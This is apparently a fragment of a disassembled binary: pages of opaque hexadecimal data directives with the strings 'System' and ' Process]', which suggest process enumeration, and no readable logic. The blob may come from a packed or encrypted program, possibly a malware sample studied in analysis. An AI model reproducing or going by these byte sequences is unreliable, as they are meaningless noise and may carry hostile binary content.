		dd 131F806Bh, 1477F927h, 0CAC6h, 0C8729800h, 0B60011D0h
		dd 141F99B2h, 88155CFFh, 8F3B7617h, 0A89FAA4Dh,	0AD0BB86Ch
		dd 8FC6653Eh, 23E28122h, 0B2EB4801h, 34793C51h,	4ABC0AE3h
		dd 0AF583947h, 2A70395Ch, 7EA3EA89h, 82C1FBDh, 0F2BFE041h
		dd 305BED19h, 12B60049h, 0FA5AED39h, 3663A541h
		dd 0CBCAAEBh, 7B1C8723h, 2E4FF036h, 66704563h, 8122EC7Fh
		dd 1BA00h, 155CFB00h, 44012E91h, 723B5DC6h, 0A2E78B34h
		dd 0D79ABB64h, 6DA5D453h, 9A0581CCh, 0CE71B5F8h, 0A3E7AEh
		dd 1696145Dh, 9776B2D4h, 0E4CB605h, 135EFF21h, 256C0CF7h
		dd 8309AFF8h, 8D8D3F65h, 77AF57D7h, 0B0D35CDCh,	557BA234h
		dd 0C85429FBh, 58990A0Eh, 0EE5FF8AFh, 8F980540h, 0BA2B1096h
		dd 23753859h, 5F8B3064h, 4D22Dh, 6D0FB0B6h, 58C58CACh
		dd 16B0564Fh, 0B6000512h, 0B86E47F0h, 3A7E3B57h, 0D5779D49h
		dd 0B60004D5h, 0D21484AFh, 0B60004D2h, 0D09C05EEh, 51810AAh
		dd 41EAB600h, 0F85743D7h, 0B3B61477h, 89000000h, 88155CFFh
		dd 0F63B7617h, 57DB2D74h, 9ED776AFh, 0D63FEE68h, 9AC5FB3Fh
		dd 654EB41Eh, 2F598DC8h, 0AF5826EBh, 753A7ED9h,	89129FD6h
		dd 0D06A902Bh, 0B60036A9h, 0C00AB09Bh, 0B82B402Bh, 6BD147C7h
		dd 23C77CD0h, 0AAC55199h, 0EF9033BCh, 2CD5443h,	8C65D4D6h
		dd 0E91DF627h, 0F2286506h, 0C6EA9878h, 3C7CB2DDh, 14CED56h
		dd 8016F8E7h, 4C35F6ECh, 9Bh, 0B6F4BDDCh, 0E125600Dh, 0D7531A3Eh
		dd 783C66Ch, 70B6FB9Ch,	2B4CC6EBh, 0DF7F2066h, 89AB1492h
		dd 0BAD97AC0h, 3537B7F3h, 5989793h, 2F6DB6h, 97135EFFh
		dd 0A4C8092Ch, 7E5740EDh, 5CFF0328h, 74178815h,	0FE5EE93Dh
		dd 0C17BA145h, 0AF57D6C9h, 0D21890BBh, 58F16A8h, 0DE43ECB6h
		dd 0CBB8F600h, 0B9771AA6h, 12AB6421h, 991F9A80h, 0E83E7716h
		dd 0C06D2447h, 0A6396206h, 199A73F9h, 0EC3A7312h, 0C4692043h
		dd 2D72375Bh, 1920812Ah, 4CF7337Ah, 42C36029h, 3, 0FFCBB065h
		dd 138C1158h, 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh
		dd 8B1499D4h, 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 12B968h
		dd 243C8900h, 446F68h, 24148900h, 81E68956h, 4C6h, 4EE8300h
		dd 5C243487h, 55243C89h, 0ADB84BBDh, 2C815506h,	0E13F8C24h
		dd 0C2815A27h, 27E13F8Ch, 3C8B545Dh, 4C48324h, 88B95152h
		dd 29766F73h, 5904244Ch, 8108478Fh, 73880847h, 3C8B766Fh
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 2434FF5Ch
		dd 4C4815Ah, 0E9000000h, 0FFFABB66h, 0CB1D1EB6h, 1434CE13h
		dd 0B852F287h, 6ADC1E3h, 0E0FFC503h, 593F15E3h,	4CA2D1D3h
		dd 1B179E4Ch, 67258F12h, 0F0A002Fh, 704694F2h, 11D9854Ah
		dd 0EF74790h, 0ACEBC55h, 6A12EBF3h, 7A27794Bh, 1F3AF2C8h
		dd 18750392h, 71430DA2h, 0C3678D8Dh, 830F06ADh,	6, 2651B58Bh
		dd 8D8906A8h, 6A805B9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0DCC35545h, 0B35497CCh, 6985C723h, 1406A814h
		dd 6A000063h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 1A4BC357h, 85BBC6C1h, 0C76CB401h
		dd 0A80BBD85h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 60E27FE9h, 59D4D36Bh
		dd 0CB818A90h, 56123550h, 26199509h, 0B5FF06A8h, 6A80915h
		dd 90901BAh, 0DD95FF34h, 8906A820h, 0A80CBDBDh,	0FF006A06h
		dd 0A81B3195h, 0EBC08B06h, 5821825Fh, 55413ACFh, 973CE4AAh
		dd 0DBB3EC84h, 0E2382373h, 7679B713h, 0D2C78BCh, 0CB3B16FBh
		dd 5D387441h, 23F9FB6Eh, 3429E2BEh, 1CB1A629h, 0D8E0D0DEh
		dd 0D5383C77h, 389BC21Ch, 4A41C9AAh, 97A3EA8Dh,	644FA055h
		dd 0A3713E91h, 12F757E4h, 98CC4F18h, 0E492422Bh, 0BD38D464h
		dd 956493F3h, 0C4E48D8Dh, 6A06ADh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 9453EAC3h, 60DF6F66h
		dd 0B358D89h, 816606A8h, 6148F3F1h, 0E2C0DE81h,	8D8948F7h
		dd 6A805B9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0CCC35141h, 595C529Bh, 8D897608h, 6A81C19h, 146985C7h
		dd 64E806A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0C35280C3h, 0DCD5784Bh, 0FD98B94h
		dd 68Dh, 0F1858900h, 3306A808h,	0A8344985h, 0BD85C706h
		dd 6A80Bh, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0D8D5C353h, 0AD53B9D2h, 0D59D8BE6h
		dd 0FF06A81Bh, 0A82A11B5h, 0D9BF0F06h, 20DD95FFh, 6A06A8h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 523CB1C3h, 2D8C4B47h, 2C71B589h, 6A06A8h, 1B3195FFh
		dd 0C08B06A8h, 10F40DEBh, 75F39FECh, 4038A100h,	0E94645F2h
		dd 15Eh, 3CC3347Dh, 86AB6EECh, 4E574A9Ah, 98A5EB4h, 508150B9h
		dd 98250B9h, 50895E33h,	39A277CFh, 50F022A6h, 0D20B7618h
		dd 9E0FC264h, 50B7B098h, 50C613DDh, 128h, 0
		dd 4, 2	dup(0)
		dd 2Fh,	0
		dd 8, 0
aSystem_0	db 'System',0
aProcess	db ' Process]',0
		align 4
		dd 3Ch dup(0)
		dd 0F8E90000h, 68000016h, 6ADC823h, 0FB7FE3E9h,	0C94568FFh
		dd 0D9E906ADh, 68FFFB7Fh, 6ADCA1Eh, 0FB7FCFE9h,	0CB0068FFh
		dd 0C5E906ADh, 68FFFB7Fh, 6ADCC9Ch, 0FB7FBBE9h,	0CDC168FFh
		dd 0B1E906ADh, 68FFFB7Fh, 6ADCE77h, 0FB7FA7E9h,	0CF4168FFh
		dd 9DE906ADh, 68FFFB7Fh, 6ADD193h, 0FB7F93E9h, 0D28768FFh
		dd 89E906ADh, 68FFFB7Fh, 6ADD344h, 0FB7F7FE9h, 0D3D168FFh
		dd 75E906ADh, 68FFFB7Fh, 6ADD57Dh, 0FB7F6BE9h, 0DAE268FFh
		dd 61E906ADh, 68FFFB7Fh, 6ADDBF9h, 0FB7F57E9h, 44BE26FFh
		dd 0CF395327h, 5FA3D8AEh, 0ED11483Eh, 748EFAC8h, 0DEC0B457h
		dd 473B58A2h, 0F0C6E719h, 7E4C7185h, 0A8D4F90Dh, 38EF0767h
		dd 6DAA580Ch, 5EB9D232h, 0C628D92Dh, 5EA1FEAEh,	45D9B8EBh
		dd 0CF7084F7h, 0D958A4C3h, 2E08F1B4h, 2C8A253Dh, 33C9F22h
		dd 0F9C016E3h, 0DA48DB5Bh, 0F9EB8828h, 319E32A7h, 1F27B9DFh
		dd 45A556h, 0E58A0000h,	6181BEFCh, 5BF9E258h, 23DD8B07h
		dd 2A5C2E73h, 3BC65DDCh, 2D5A56BAh, 0CD410AD1h,	6298C0B2h
		dd 0C2D01383h, 3DF5EA8h, 0A7F649EFh, 9DEAA555h,	34207F66h
		dd 6F2EBDF9h, 1F06ED0Bh, 0D8F156h, 0D25E0000h, 4BD94DB9h
		dd 7284F61Fh, 0C9E01A0h, 839CDBEh, 1B24DE8Ah, 0A1FE53FBh
		dd 4871E5Eh, 0A3570096h, 0F9FBE002h, 0F4E75EA1h, 0AC226300h
		dd 0F84ACD39h, 22AB7B8Fh, 397A87C5h, 6634C0B5h,	0C79E40C3h
		dd 0F0A40606h, 60890CB1h, 0CFE61D22h, 479F44EBh, 0F214EDACh
		dd 0A2AF1AF2h, 0D7DB64BFh, 55B051ABh, 892C2A9Fh, 1E7F3EF8h
		dd 9FFE9E5h, 0B64C3486h, 8FF1ECD4h, 35980A3Fh, 14A9h, 56778DF1h
		dd 0E3807660h, 6F0CF0EFh, 0F1926E1Bh, 7E1FE59Dh, 0FBE797DFh
		dd 706E5C01h, 0EC99ED8Eh, 54077B18h, 0BEC103A0h, 0C36305Ch
		dd 1D347D58h, 0EE76139Fh, 20643EDFh, 9514F78Eh,	2243B921h
		dd 32CF3BACh, 0DD5FC7BCh, 0EE81467Ah, 0FE23F352h, 8A5D517Bh
		dd 5CDF79ECh, 0FCE5E83Fh, 586181BEh, 75BF9E2h, 2C08A4C6h
		dd 0DA45A7F6h, 1E8C7268h, 1A85189Bh, 2C3A5688h,	0F080A7F6h
		dd 767A8DFh, 0A7F62CEFh, 0DEB87BAAh, 561EE0B8h,	0DBA6h
		dd 139F8B00h, 0BA088B75h, 0D36135C1h, 6D94DB7h,	0FE09A5C5h
		dd 0DD445EA1h, 0F927845Ah, 0A8C35EA1h, 88063F5Ch, 39782AD0h
		dd 6793C476h, 0EBA956B7h, 1293456h, 88AA406h, 0AFD9AD51h
		dd 8564C559h, 6D3CA5E0h, 13738C78h, 0A7F60AFBh,	738C6FB6h
		dd 0AA4D032h, 0AEF1A7F6h, 0DDD112EFh, 68C95DABh, 804279A9h
		dd 0F033A2AFh, 0CE27434Fh, 86E86F93h, 8CB3D1D1h, 0DFE08564h
		dd 2359B6D3h, 9E849DDh,	21951495h, 11E343B9h, 373F8E5Bh
		dd 138728A5h, 0EF970000h, 68027015h, 0D289FD9Eh, 40398D2Eh
		dd 3FAB1FBCh, 7105A0C5h, 8A2BD189h, 13B04E34h, 993ACEBFh
		dd 2546B225h, 1EB6D81Fh, 5B580C37h, 139FE3DEh, 99188A76h
		dd 0C63CA416h, 52A6D1A5h, 0AFCF1031h, 5EA1FE07h, 4150D352h
		dd 0D94DB9D2h, 0C7E4104Bh, 0B54930BEh, 0C83453E1h, 8674D75Ah
		dd 0D06225D9h, 71C757ABh, 22D1F206h, 1630D9B7h,	0E9AB90Dh
		dd 0C976D9ACh, 0F9835CA9h, 6186195Bh, 0C9355220h, 9C799846h
		dd 0C522F44Fh, 4D187A87h, 6E5A3421h, 0F9E66737h, 5ECC32A8h
		dd 79A1CDBh, 0A5987A0Dh, 44DD3DC2h, 69A0D1C5h, 0DD850936h
		dd 0B4217727h, 451AE140h, 0F3CBF26Dh, 666C9514h, 0A3DC8175h
		dd 0F76D4458h, 3BFA7645h, 4624D08Bh, 3958FE86h,	0AED322B0h
		dd 0CC000012h, 75496A90h, 0E2D0F503h, 66547985h, 90E6877Bh
		dd 0CA7112E8h, 7A80F8A2h, 817F6559h, 0BFFEEDCh,	9763146Ah
		dd 6989CEF6h, 580C34CDh, 0D2100F88h, 7CD94DB9h,	0D530D193h
		dd 885DFACEh, 8CA63FA6h, 92482111h, 4E8F7033h, 23E21840h
		dd 0F94576FFh, 0C3E0435Bh, 0BD540C82h, 0C8693DCBh, 7967B569h
		dd 0D1652487h, 21AD52A6h, 57C746BAh, 0B64B09F6h, 0EAB84E38h
		dd 0DB3BC447h, 0A2A5E2A8h, 34758A15h, 693DC1BEh, 82F549C8h
		dd 76615576h, 4CB51082h, 1E91F10Eh, 4DA9572Ah, 3042EA0Ch
		dd 9E57B55Dh, 5BFC29B7h, 4B22702Fh, 0C65DDCBFh,	0B6B5E101h
		dd 0A100B55Dh, 0DA8D013Eh, 4E398D2Eh, 9B17E8BAh, 0A9110ECh
		dd 5192AFEDh, 49DD2B5Dh, 6CF929E8h, 49B005BFh, 0FFEE74D6h
		dd 5AC82877h, 11CCFBh, 48B2D200h, 0D325572Bh, 5BA7DCB2h
		dd 0E11D443Ah, 6892CEBCh, 0D2CCA04Bh, 5B2F4CB6h, 0DCB2D32Dh
		dd 4A385DA9h, 0BCC0E511h, 35F31B7Bh, 71BE580Ch,	4CB6D25Eh
		dd 0D2836C2Fh, 5DDC4EB8h, 982545FAh, 0D55BF9EBh, 4239B54Ah
		dd 0CA4DECBEh, 3B91CA58h, 0F615B3DBh, 0D27A9CA7h, 9FA7F615h
		dd 0A7069904h, 5ABCFD06h, 0A7F61532h, 0D165247Fh, 42EA0CA6h
		dd 0FA7F615h, 0A8395194h, 69B8868Eh, 48B11486h,	80F9F50Ah
		dd 2244BD7Ch, 0A2AE3CF3h, 0B3DB3BBCh, 0FEAC0E4Eh, 0B73BC4A7h
		dd 0BD3732C6h, 0DDD136BDh, 0E0138302h, 0D285BF10h, 0D9068526h
		dd 7A28DE88h, 4BAB5437h, 0A956CF32h, 0B345377Fh, 9BCC42D0h
		dd 0B7CFBF6Fh, 0AEEC1518h, 0E4D47191h, 7EA1B7FEh, 33AE245Dh
		dd 8DFE4CCFh, 0D77BA579h, 74BBFF14h, 0A6D1EBA4h, 1442EA0Ch
		dd 940FBBFFh, 0D343B726h, 0F8CEEF4Eh, 0BFC67B8Fh, 734D2F9Ah
		dd 0C95DDCE6h, 0D8BFCF36h, 0F9B20A08h, 0B3870472h, 0C8F7160h
		dd 1D226089h, 0A7F8ACFDh, 6D0E91BEh, 5BF31354h,	16801400h
		dd 11610C8Fh, 0CE7650B9h, 0F33D05BCh, 0B0D26FCEh, 85485A27h
		dd 90F4974h, 96B82194h,	0DE41BD24h, 0D18A0839h,	0A8D06225h
		dd 2F56AD52h, 2BEC6478h, 30D240C3h, 86A9AF80h, 0E00C6EAFh
		dd 0AD86A9AFh, 0CB34B372h, 0FD167889h, 0BE83F5EAh, 0A3D4DA67h
		dd 17403657h, 22B033E3h, 4BEEBC46h, 0E70E7AC8h,	0F9200F4h
		dd 726490F2h, 0EE318FFBh, 5EBBAF0Fh, 0FF6D1C79h, 103096h
		dd 0EC164E00h, 7781FBCFh, 877B6056h, 15E990E6h,	9C660270h
		dd 66185CFFh, 0EFE3807Ah, 186E0FF1h, 86F4996Dh,	407C21D5h
		dd 32B7DF3Fh, 0B502580Ch, 4CB6D29Ah, 123548B3h,	0B1C41E86h
		dd 4E398DEEh, 444FDFDEh, 66C9943Ah, 817566B4h, 58A5E2Dh
		dd 0A5D13172h, 0F05EA191h, 583BC7A2h, 867265D9h, 7E2345E5h
		dd 320B5CC7h, 14000001h, 0D94DB9D2h, 0C7E4104Bh, 8B3D1BC4h
		dd 680A30B1h, 0A9C976D9h, 5BF9E150h, 0EE10821Dh, 0A7F60D42h
		dd 997758F8h, 561F067Fh, 3B6Fh,	0FCE5B000h, 724081BEh
		dd 0F839ED19h, 0E220E939h, 0B2ED5BF9h, 2D923EE0h, 8BF0A7F6h
		dd 3A5CA777h, 0A7F62D92h, 87F644DFh, 1CACA373h,	40F09AB3h
		dd 0E187A14Fh, 9F97561Eh, 0B8000000h, 0D94DB9D2h, 31E51F4Bh
		dd 0AE7C88E3h, 0FA9B6F18h, 0A1F903E8h, 788CFF5Eh, 0F5B7505Bh
		dd 899F2A4Ch, 41E0A407h, 14737F80h, 936F1AE8h, 0AF1F9E03h
		dd 0CD38C933h, 207A0D2Dh, 9ADE9776h, 753DC269h,	1C721392h
		dd 1A3C9E64h, 0EC3476FDh, 0F0B177Eh, 73130000h,	0E496E489h
		dd 661D7112h, 0DC85F99Ah, 530F8320h, 0D6104A9h,	0EE8F756Dh
		dd 7F1CE298h, 5A6520Bh,	9132C6B1h, 0A2CA2C73h, 0EF580C33h
		dd 0B6D28FA2h, 0EF162F4Ch, 0C5BC3378h, 67FF3239h, 42358908h
		dd 1EF8A9D2h, 3C9F994Ch, 0B9D2889Fh, 7BDA2C5Eh,	856215ABh
		dd 307125D3h, 2D5E2C51h, 27C045D9h, 83BADC65h, 0EC5BF9E9h
		dd 0A9D10B5h, 7C000008h, 32F50976h, 78139F23h, 0C1B90D8Ch
		dd 19B96B3Bh, 4C5EA1FEh, 3E20E1A3h, 5BFDBB9Dh, 48AB7EEh
		dd 36CCB453h
		dd 17403657h, 85FD33E3h, 0C595C121h, 52E0A7F3h,	886BCA34h
		dd 71E91A2Ah, 0E76EFC34h, 0E55h, 0A2C339A5h, 2F4CBA2Ch
		dd 0B3D02C5Bh, 3D5EA2DFh, 0CAEB1149h, 37534B23h, 0ACDAA8CDh
		dd 285D3152h, 90CBBFDCh, 0FA3D4764h, 0C307C98h,	0C1F03958h
		dd 2F4CB6D2h, 19ED9816h, 0FB1B2485h, 5EA1FE53h,	0B604871Eh
		dd 1B2255C5h, 0FDF92A79h, 413A881Ah, 52C03AA6h,	0A9BE6CCFh
		dd 0E982B817h, 3C47781Dh, 881230A1h, 0BED85B19h, 5CC71098h
		dd 0D86h, 67BEAB00h, 6C5EA207h,	0FFFE13A1h, 12BECEFFh
		dd 475EA1FEh, 0C727D89Ah, 5BFDBBBCh, 9C385A9Bh,	0D9A7F3C5h
		dd 0DA58C746h, 4CF554AEh, 0C543EB0Bh, 970EA7F3h, 0F4E7EB14h
		dd 7C6F6300h, 0B312EE9Bh, 0BFDFE0E3h, 0A7F3C517h, 0F240C362h
		dd 788E6C96h, 0AE3471E9h, 0D8BD13Ch, 0F3930000h, 64166409h
		dd 0E69DF192h, 5C05791Ah, 0D38F03A0h, 8DE18429h, 6E0FF5EDh
		dd 0FF9C6218h, 8526D28Bh, 11B24631h, 224AACF3h,	6F580C31h
		dd 0B9D20F22h, 104BD94Dh, 6F2136E4h, 86611A20h,	0B04A36D9h
		dd 4EDCBFE2h, 4C5F6CEBh, 7D22CEE8h, 7269659Ah, 0DD06AED0h
		dd 0D0535EA1h, 8E7CBD71h, 96A2DD1h, 0C7324761h,	2E575Ch
		dd 9FF80000h, 0E49D7A13h, 44278A18h, 7801DC5h, 70915EA2h
		dd 0BA7CF2Fh, 0B3F2A15Eh, 0D958A4C3h, 0FFFD375Ah, 4E39B5FFh
		dd 6A90C8BAh, 0A7B679B8h, 81BEFCE5h, 0F9D1AC61h, 0F0007B5Bh
		dd 8883BBB6h, 274FAF50h, 72A7F684h, 0B2ED7033h,	84933EE0h
		dd 672BA7F6h, 38535F28h, 58DB5ECCh, 1E8D183Eh, 1F00656h
		dd 9F2B0000h, 0FE903C5Eh, 0C3855EA1h, 580278F2h, 50D352D1h
		dd 0A1BD528Eh, 26EC635Eh, 7F8041B5h, 0A1BDF71Fh, 0A063C25Eh
		dd 689CCFC3h, 0BD0008BAh, 0B15F5EA1h, 47B3241Eh, 0BADC1D26h
		dd 5EA1BC12h, 0C645C45Fh, 71A13917h, 49FC9616h,	6E2259E6h
		dd 3970FD51h, 1C920083h, 1B629F6Bh, 82A8F3FFh, 0D6E3143h
		dd 683ACEB9h, 0A1C7EAB6h, 1CF3E85Eh, 0AB0E9C6Ah, 93C45AC8h
		dd 13E59767h, 0F4DBAB83h, 0C7CB6383h, 1F865EA1h, 2D6216BCh
		dd 0C74BA5C3h, 15C895Ch, 0D2960000h, 3EB44DB9h,	46EBBB4Fh
		dd 96C157C7h, 9D7A4162h, 0EDE122DFh, 18990DFBh,	0F3704999h
		dd 535F5BF9h, 0D75AC834h, 1045C954h, 6F9105E4h,	0A7F61FC3h
		dd 18F6D979h, 561EF3FEh, 5F1EAE8h, 3A7582h, 0E5DA0000h
		dd 6181BEFCh, 5BF9E258h, 8A4C607h, 45A7F62Ch, 39C45BDAh
		dd 4BF26A45h, 61359453h, 0F65713BFh, 0A6E9A9A7h, 1EB82E48h
		dd 68CD3856h, 0DCC4BFECh, 0C3DF28EBh, 60000000h, 8F79139Fh
		dd 0AB1B9A1Fh, 43A4D730h, 0EA4FDF29h, 0B7169B0Bh, 0E4961CE7h
		dd 47239312h, 205BE9BDh, 87F046D4h, 33105273h, 2F5EA1F6h
		dd 1A2B48BCh, 191DB9D9h, 0B100A15Eh, 0E1F47AF5h, 86099807h
		dd 9BA4E603h, 7D6CE7Bh,	0CF70B3A4h, 0A45DA7C3h,	0C649BD2Eh
		dd 0A7619CA5h, 807C6B9Dh, 9A724945h, 0C53FAB1Bh, 76B3A961h
		dd 309D0F34h, 0B39h, 0C6E71D41h, 537086F0h, 0DFFC007Fh
		dd 6102FEEBh, 0EE8F756Dh, 0B77274Fh, 80FECCF1h,	7C695D7Eh
		dd 0E497EB88h, 0E517310h, 0C2F40ECh, 0AD840D58h, 2C5FB6D2h
		dd 0BDC879D8h, 68161FFAh, 0A6A50496h, 4FF0F21Fh, 0A109872Fh
		dd 0D053D25Eh, 58ACDFB3h, 0B9D2E43Bh, 104BD94Dh, 4ACCC7E4h
		dd 0B000004h, 1A3ED1F0h, 18720396h, 1AFD3CEEh, 0E40D889Bh
		dd 58E9AB54h, 17E19B17h, 0BB0E4A94h, 10935BFDh,	143ACF7h
		dd 0E5379EC0h, 1B62A2ABh, 0CB6529B2h, 0FC187A3Fh, 0B9AC0B00h
		dd 99048766h, 304B9406h, 126373F8h, 0A07EC125h,	0AC0B0E70h
		dd 678906CAh, 4F720341h, 6A82E425h, 27AC0B16h, 91CC3DFCh
		dd 55000003h, 0A1FE12BEh, 0FEFB1C5Eh, 37D05EA1h, 4A8BCC75h
		dd 0A1FE8C28h, 6F8E65Eh, 178E1594h, 0D08F4A94h,	91105BF9h
		dd 741F732Dh, 0CE47D534h, 0A45h, 0B2D32955h, 3F5CAADCh
		dd 0C3E01C4Bh, 4D6E92CFh, 0DAFB0179h, 27433B33h, 9CCAB8DDh
		dd 184D4162h, 80FBCFECh, 0EA2D5774h, 0C2C6C88h,	0B1E02958h
		dd 2C5EB9D2h, 6E948DAh,	8AC83194h, 0FDC93475h, 0A5924A47h
		dd 0D714CA4Dh, 0DC5BFDCCh, 70D32756h, 9CB3253h,	3CCE82D0h
		dd 16F37639h, 84BAB54h,	95A2AF55h, 83F9F50Ah, 0C206587Dh
		dd 0ADAC04D6h, 0B0C66356h, 0B47710A8h, 0E398C931h, 4B2A8F1Fh
		dd 0E095192Ah, 60238614h, 0D84AB4D2h, 5CE5114Ah, 4ED12556h
		dd 0C19079DCh, 70B1659Bh, 5627091h, 576E72F9h, 41A7F6DDh
		dd 8E101FEh, 0B5A95F5Ah, 9D1C886Ah, 58CA26DEh, 988F5h
		dd 14EE9600h, 9F690377h, 2FD388FEh, 0BD41388Eh,	0C43EAA18h
		dd 8E7004A7h, 378B28D2h, 0A016B749h, 2E9CC135h,	182449BDh
		dd 2D1FB7D7h, 0DD5A580Ch, 0BEFCE5E2h, 0B33F4081h, 3A7F2FD9h
		dd 0A1FE8824h, 0E85AC55Eh, 578B0AF0h, 5BFDBB14h, 0CDC17EA1h
		dd 0ADD86997h, 0B8C1857Ah, 0ABC84BDCh, 1344A9D7h, 379604E7h
		dd 177788CAh, 0A2AF3CD0h, 75D042DDh, 0D131CE8Ch, 0A95D2BE0h
		dd 0A2CA2CADh, 0EFB55D53h, 9B71D5B4h, 7D26DF7Fh, 8FB66EFh
		dd 63030000h, 0D486F499h, 560D8122h, 0CCB509AAh, 433F9330h
		dd 0FD7114B9h, 0FE9F651Dh, 8F2CD288h, 15B6423Bh, 0A1C236A1h
		dd 923A5C63h, 0DF580C2Dh, 0B9D27F52h, 104BD94Dh, 6F2136E4h
		dd 0CB611A20h, 0B36395C7h, 0FE44F06Eh, 8E115EA1h, 0CAEC8E2Fh
		dd 0D45CC712h, 1C0h, 8F601F93h,	0DE4C2FD1h, 5DFB9C5Bh
		dd 0AF7578ACh, 0FCE5FDECh, 66C937ADh, 611A98D9h, 0E1A00195h
		dd 0F9D0ACC1h, 1486195Bh, 0F63346EAh, 735CFCA7h, 1EE07B9Dh
		dd 1866356h, 0AC220000h, 0D8749636h, 95A7F63Bh,	0F9E8AB0Ah
		dd 0D94DB9D2h, 6B14FF06h, 88D9BB5Fh, 36C2B509h,	0ABE91695h
		dd 99355596h, 0D45EA15Dh, 4BDB2F5Eh, 61C007E6h,	61FFAA44h
		dd 57986928h, 7910EE2Ch, 6DE84C47h, 533106AAh, 0DD0584DDh
		dd 5BF954ECh, 3DC4ED1h,	977DEF8h, 36BE6AE9h, 0AC12D965h
		dd 95C121F3h, 0E0A7F978h, 835FDE41h, 0A7F9786Fh, 846A25D5h
		dd 561F9962h, 4C4Ch, 0C8B73B00h, 80EC086Ah, 76A9A7F9h
		dd 0E3A20797h, 0E0FCE5F0h, 0A1FE56FEh, 2180235Eh, 0EF892E0h
		dd 659A1D9Ch, 0CD31AE24h, 311DD859h, 95CE674h, 0F732ECAFh
		dd 0B85BF9EEh, 0E70BB569h, 5DA7F620h, 0DAFC12BDh, 0C4561EECh
		dd 9Ch,	4DB9D26Dh, 811F4BD9h, 0CF80DAD3h, 0C95D3CC4h, 4BF4007Bh
		dd 24E71947h, 837760B6h, 446B80E2h, 0B43A5EA1h,	0C26737C3h
		dd 6C98F343h, 0E1A34C4Fh, 0EF8B3E20h, 0ADF45BF8h, 9B6F1E94h
		dd 1AE7A60Bh, 5005EC94h, 0D2A0C5A4h, 0AEE4CB6h,	0FC347629h
		dd 74FE76Eh, 37AF0000h,	0A0DAA8CDh, 1A413556h, 88F1C5E6h
		dd 7635774h, 393DD8FDh,	0C2E31941h, 4B6896CCh, 0D1F20677h
		dd 5D7E8AFDh, 56FEE027h, 23580C2Bh, 139FBB96h, 18E29E77h
		dd 1C44F6B9h, 205559E6h, 423055D4h, 69B8DD29h, 0B44DB9D2h
		dd 0E8BA4C3Eh, 708CF549h, 0FCEF3DB1h, 80FBF708h, 0DDD0B574h
		dd 5Dh,	31C5B63Ch, 6A7D3C7Dh, 67DB30Dh,	0DEDB006Ch, 0EF6A2D37h
		dd 7EBF4002h, 5AF5207h,	3CFF9C2Ch, 0FD5D67E2h, 1F444A5Bh
		dd 86FD33E3h, 85189B7Ah, 955EFD1Ah, 5BE4A643h, 3A33B120h
		dd 0C4B68F65h, 6FB2609Eh, 0EB1253ACh, 0B8CBD270h, 0CA14974Eh
		dd 0A2AE378Ch, 2A698E11h, 50h, 0BEFCE54Bh, 0FCC86181h
		dd 0CEF55BF9h, 0CEBF0668h, 0E8BA1D69h, 18B4D617h, 55A7F695h
		dd 4974BCAh, 0CDEC1CCFh, 0EFE3943Bh, 19980AFEh,	0B4F61396h
		dd 0A355078Bh, 0ABDCAEF3h, 0AB6ACF5Fh, 87653456h, 0D74EA2AEh
		dd 0C03EA42Ah, 0B6911C41h, 9E000000h, 0FEE0FCE5h, 5EA1FE56h
		dd 0E0218023h, 0FDBB75FEh, 31DF465Bh, 490FD39Ch, 498EA846h
		dd 77905619h, 4F000000h, 9FC82543h, 9776BB6Bh, 0F0E3A207h
		dd 903C5E9Fh, 0DD5EA1FEh, 9B44C342h, 0B46690CAh, 11857966h
		dd 0B14E3190h, 0FDBB0951h, 0E70D945Bh, 17798132h, 4A3056B8h
		dd 3B3E5619h, 3000000h,	0EA7A139Fh, 91747EE7h, 24E74600h
		dd 0C57A38A1h, 0FDB924A5h, 0DB870B5Bh, 0A0039E21h, 0CC16D98Ch
		dd 3374038Ch, 0F3C3BBD3h, 59AFD9A7h, 0BED85BCAh, 56194F98h
		dd 1C86h, 5E9FAB00h, 0A1FE903Ch, 6A94F25Eh, 7BAA79B8h
		dd 0F89F66B8h, 0A9645EA1h, 0FFFFFEFDh, 0DAFCE5C6h, 6A64F737h
		dd 29D6B9DEh, 0FD7DD2C9h, 0D240E35Bh, 6B928E6Bh, 416A61D1h
		dd 0C06CF20Bh, 8DA7F30Eh, 4D8EB312h, 0F30E812Dh, 7B85E3A7h
		dd 6DFE7DA4h, 8DFEDA69h, 0D939C649h, 0A2AF3593h, 96730540h
		dd 0C9EA2DE8h, 7DBC6E92h, 1D841B9Ah, 0F787689h,	54BD38FBh
		dd 1689E916h, 27A95951h, 1D4F43FCh, 26C3CAEBh, 0DDBCD83Ah
		dd 0A6F9B556h, 82F93AC7h, 0C3A0F91Bh, 0F131F083h, 0B00AC26Eh
		dd 575BE43Fh, 0B1B1D226h, 13CDDD34h, 0FF1EFE3h,	0B94D3E8Ch
		dd 0A6500A88h, 473086E7h, 7D9AE3B3h, 0A1C1023Fh, 1382F775h
		dd 0A15EE140h, 0DAFF6C41h, 54C65916h, 0C0FAD5BBh, 4C426397h
		dd 413FB319h, 944AEFBFh, 18DB1178h, 3555EA35h, 18DB1199h
		dd 38EA4DD4h, 9406F0EAh, 0CC49B4DDh, 0B6245BE6h, 4F4030F3h
		dd 0D7F40075h, 0AC7E8AE3h, 0A8D810C1h, 5CA8DDE7h, 0D288063Fh
		dd 0E57A6D2Ch, 55EBBBF1h, 5044D622h, 68828F00h,	0EB911D22h
		dd 61208115h, 77DD8EFCh, 10BC870Ch, 0F969329Ah,	5EA10D5Dh
		dd 0A268918h, 9BA49D57h, 10936517h, 62152F60h, 6B1D7196h
		dd 8FF6099Dh, 0A251D6C6h, 3ABCBC8h, 4E5EA134h, 6DB574D7h
		dd 5EA134C1h, 6F3FC9A3h, 865E31AEh, 5D31D49Eh, 2049DD2Bh
